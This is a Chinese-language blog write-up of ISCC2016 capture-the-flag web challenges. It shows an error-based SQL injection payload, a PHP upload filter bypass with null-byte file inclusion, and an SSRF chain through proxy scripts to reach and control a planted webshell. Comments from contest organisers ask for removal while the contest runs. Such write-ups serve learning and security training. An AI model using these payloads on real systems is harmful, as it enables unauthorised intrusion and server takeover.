iscc2016 web writeup

in 抛砖引玉 with 2 comments

iscc2016 web writeup

iscc2016地址

提示:不同用户有着不同的权限,也许flag用户能够知道真正的flag内容,但他的密码很复杂呢……对了,如果情况不对,赶紧重置数据库后闪人啊。

訪問index.php.txt得到源碼.
user=flag
if ($row[user] == "flag" && $user=="flag") {
第25行
$sql = "select user from user where pw='$pass'";
pass直接拼接sql语句进行查询造成注入.
payload:user=flag&pass=' and updatexml(1,concat(0x7e,(select pw from user limit 1,1 )),0)#
20160523152830.jpg

然後用密碼直接登錄即可得到flag.

加了個單引號提示沒有找到文件,猜測可能是文件包含.
於是就上傳了圖片得到了圖片的ID
QQ截图20160523163651.jpg

然後在view得到圖片的位置.
QQ截图20160523163720.jpg

發現空白QQ截图20160523164057.jpg

猜測是不是過濾了什麼.
測試發現過濾了 <?php?>
於是寫成了這個<script language="php">phpinfo();</script>
然後構造用%00截斷
payload:/index.php?page=uploads/1463992925.jpg%00
得到flag

小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗?

點擊登錄發現注釋裏面有個<!--<script>alert('admin ip is 121.42.171.222')</script>-->提示。
以為是X-Forwarded-For發現我太年輕。
發現121.42.171.222直接訪問是403
然後發現那圖片有問題,使用了proxy.php腳本,於是想了想是不是用這個腳本來訪問121.42.171.222
QQ截图20160523165720.jpg

測試發現了這個也存在proxy腳本
QQ截图20160523165825.jpg

然後訪問了一下/web4/proxy.php?url=http://121.42.171.222/proxy.php?url=http://101.200.145.44/web4/admin/robots.txt
得到了

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt
Disallow:check.php
Disallow:check.php.txt

trojan.php.txt是木馬打開看了看.
驗證了SESSION
if($_SESSION['admin'])!='1'){exit('get out! hacker!');}
然後我們去掉這個把php報錯打開.
QQ截图20160523170321.jpg

密碼360
然後在看看check.php.txt
user=admin
那就註冊admin看看 結果發現註冊不了,於是註冊Admin看看.
這裡你可以使用nginx做个反向代理
也可以直接審查元素改驗證碼地址和post包地址.
註冊登錄以後cookie複製到菜刀裏面
連接上去就能看到flag了.


Responses
  1. iscc2016

    比赛还没结束呢,麻烦先把writeup删掉可以吗?谢谢

    Reply
  2. ISCC2016管理

    您好,非常感谢您对ISCC竞赛的支持,但目前比赛还没有结束,请将此writeup暂时删掉,等比赛结束后再放出,可以吗?谢谢合作,祝您一切顺利~

    Reply